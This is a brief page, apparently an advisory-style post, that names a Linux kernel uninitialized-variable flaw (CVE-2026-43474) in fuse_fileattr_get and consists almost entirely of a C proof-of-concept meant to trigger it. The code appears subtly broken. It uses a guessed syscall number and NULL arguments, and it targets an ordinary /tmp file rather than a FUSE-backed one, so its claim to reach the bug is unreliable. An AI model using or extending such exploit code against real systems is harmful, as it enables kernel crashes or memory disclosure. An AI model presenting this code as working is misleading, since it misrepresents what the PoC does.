CVE-2026-43474 Linux内核未初始化变量漏洞

/* * PoC for CVE-2026-43474 * This code attempts to trigger the uninitialized value bug in fuse_fileattr_get. * Note: Exact syscall arguments may vary based on kernel version. */ #include <stdio.h> #include <unistd.h> #include <sys/syscall.h> #include <fcntl.h> #ifndef SYS_file_getattr // Assuming syscall number for demonstration, actual number depends on kernel #define SYS_file_getattr 451 #endif int main() { int fd = open("/tmp/test_file", O_CREAT | O_RDWR, 0644); if (fd < 0) { perror("open"); return 1; } // Attempt to trigger the vulnerable path // The bug occurs when vfs_fileattr_get is called with uninitialized flags_valid long ret = syscall(SYS_file_getattr, fd, NULL); if (ret < 0) { perror("syscall file_getattr"); } else { printf("Syscall returned, potential crash in kernel logs if vulnerable\n"); } close(fd); return 0; }